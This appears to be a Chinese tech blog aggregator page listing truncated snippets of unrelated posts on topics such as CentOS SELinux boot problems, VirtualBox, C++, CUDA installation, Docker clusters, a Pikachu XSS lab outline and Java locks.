一、问题 最近学习Kubernetes&#xff0c;需要设置永久关闭SELINUX,结果修改错了一个SELINUX配置参数&#xff0c;关机重新启动后导致无法进入CentOS7系统&#xff0c;卡在启动进度条界面。 二、解决 多次重启后&#xff0c;在启动日志中发现 Faild to load SELinux poilcy…

VirtualBox解决VERR_SUPDRV_COMPONENT_NOT_FOUND错误

简述 最近使用VirtualBox时发现其增强功能不能用了&#xff0c;也就是不能双向拖拉文件&#xff0c;整了很久不知所以&#xff1b;看到有网友说跟新其VBoxGuestAdditions.ios文件&#xff0c;所以直接把我的VirtualBox从6.x升级到了7.x&#xff0c;然后就发生了眼前的一幕&…

IDEA2023新UI回退老UI

idea2023年发布了新UI&#xff0c;如下所示 但是用起来真心不好用&#xff0c;各种位置也是错乱&#xff0c;用下面方法可以回退老UI

【C++入门指南】C如何过渡到C++?祖师爷究竟对C++做了什么?

【C入门指南】C如何过渡到C&#xff1f;祖师爷究竟对C做了什么&#xff1f; 前言一、命名空间1.1 命名空间的定义1.2 命名空间使用 二、C输入、输出2.1 std命名空间的使用惯例 三、缺省参数3.1 缺省参数的定义3.2 缺省参数分类 四、函数重载4.1 函数重载概念4.2 C支持函数重载的…

如何防止商业秘密泄露(洞察眼MIT系统商业机密防泄密解决方案)

在当今的商业环境中&#xff0c;保护公司的商业秘密是至关重要的。商业秘密可能包括独特的业务流程、客户列表、研发成果、市场策略等&#xff0c;这些都是公司的核心竞争力。一旦这些信息被泄露&#xff0c;可能会对公司的生存和发展产生重大影响。本文将探讨如何通过使用洞察…

Cortex-M3/M4堆栈

一、Cortex-M3/M4堆栈操作 Cortex-M3/M4 使用的是“向下生长的满栈”模型。堆栈指针 SP 指向最后一个被压入堆栈的 32 位数值。在下一次压栈时&#xff0c; SP 先自减 4&#xff0c; 再存入新的数值&#xff0c;如图所示为堆栈的PUSH操作。 POP 操作刚好相反&#xff1a;先从 …

针对 SAP 的增强现实技术

增强现实技术是对现实世界的一种交互式模拟。这种功能受到各种企业和制造商的欢迎&#xff0c;因为它可以减少生产停机时间、快速发现问题并维护流程&#xff0c;从而提高运营效率。许多安卓应用都在探索增强现实技术。 使用增强现实技术&#xff08;AR&#xff09;的Liquid U…

获取文件上次访问时间

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl Java源码 public void testGetFileTime() {try {String string "E://test.txt";File file new File(string);Path path file.toPath();BasicFileAttributes ba…

Windows安装cuda和cudnn教程最新版(2023年9月)

文章目录 cudacudnn cuda 查看电脑的cuda最高驱动版本&#xff08;适用于N卡电脑-Nvidia&#xff09; winR打开命令行&#xff0c;输入nvidia-smi 右上角cuda -version就是目前支持的最高cuda版本&#xff0c;目前是12.2 nvidia官网下载cuda 下载地址&#xff1a;https://d…

VHOST-SCSI代码分析(1)VHOST SCSI设备模拟

VHOST SCSI设备的模拟是由QEMU和HOST共同实现的&#xff0c;QEMU模拟VHOST SCSI设备配置空间等&#xff0c;而对于虚拟机通知HOST和HOST通知虚拟机机制由HOST内核实现。 在QEMU中VHOST SCSI设备继承关系如下&#xff1a; 其它设备以及对应class_init函数和realize具现化实现与V…

uni-app 之 picker选择器

uni-app 之 picker选择器 同步滚动&#xff1a;开 uni-app 之 picker选择器 一、普通选择器 二、多列选择器 三、时间选择器 四、日期选择器 一、普通选择器 <template><view><picker change"bindPickerChange" :value"index" :range&q…

基于Docker_Nginx+LVS+Flask+MySQL的高可用Web集群

一.项目介绍 1.拓扑图 2.详细介绍 项目名称&#xff1a;基于Docker_NginxLVSFlaskMySQL的高可用Web集群 项目环境&#xff1a;centos7.9&#xff0c;docker24.0.5&#xff0c;mysql5.7.30&#xff0c;nginx1.25.2,mysqlrouter8.0.21&#xff0c;keepalived 1.3.5&#xff0c;…

Pikachu XSS(跨站脚本攻击)

文章目录 Cross-Site ScriptingXSS&#xff08;跨站脚本&#xff09;概述反射型[xss](https://so.csdn.net/so/search?qxss&spm1001.2101.3001.7020)(get)反射型xss(post)存储型xssDOM型xssDOM型xss-xxss-盲打xss-过滤xss之htmlspecialcharsxss之href输出xss之js输出 Cros…

网络安全——黑客(自学)

想自学网络安全&#xff08;黑客技术&#xff09;首先你得了解什么是网络安全&#xff01;什么是黑客&#xff01;&#xff01;&#xff01; 网络安全可以基于攻击和防御视角来分类&#xff0c;我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术&#xff0c;而“蓝队…

MediaPipe+OpenCV 实现实时手势识别(附Python源码)

MediaPipe官网&#xff1a;https://developers.google.com/mediapipe MediaPipe仓库&#xff1a;https://github.com/google/mediapipe 一、MediaPipe介绍 MediaPipe 是一个由 Google 开发的开源跨平台机器学习框架&#xff0c;用于构建视觉和感知应用程序。它提供了一系列预训…

Otter改造 增加springboot模块和HTTP调用功能

环境搭建 & 打包 环境搭建&#xff1a; 进入 $otter_home/lib 目录执行&#xff1a;bash install.sh 打包&#xff1a; 进入$otter_home目录执行&#xff1a;mvn clean install -Dmaven.test.skip -Denvrelease发布包位置&#xff1a;$otter_home/target 项目背景 阿里…

R语言柱状图直方图 histogram

柱状图简介 柱状图也叫直方图&#xff0c;是展示连续性数值的分布状况。在x轴上将连续型数值分为一定数量的组&#xff0c;y轴显示对应值的频数。 R基本的柱状图 hist 我们用R自带的Orange数据来画图。 > head(Orange)Tree age circumference(圆周长) 1 1 118 …

Aqs独占/共享模式

独占锁和共享锁的概念 独占锁也叫排他锁&#xff0c;是指该锁一次只能被一个线程所持有。如果线程T对数据A加上排他锁后&#xff0c;则其他线程不能再对A加任何类型的锁。获得排它锁的线程即能读数据又能修改数据。 共享锁是指该锁可被多个线程所持有。如果线程T对数据A加上共…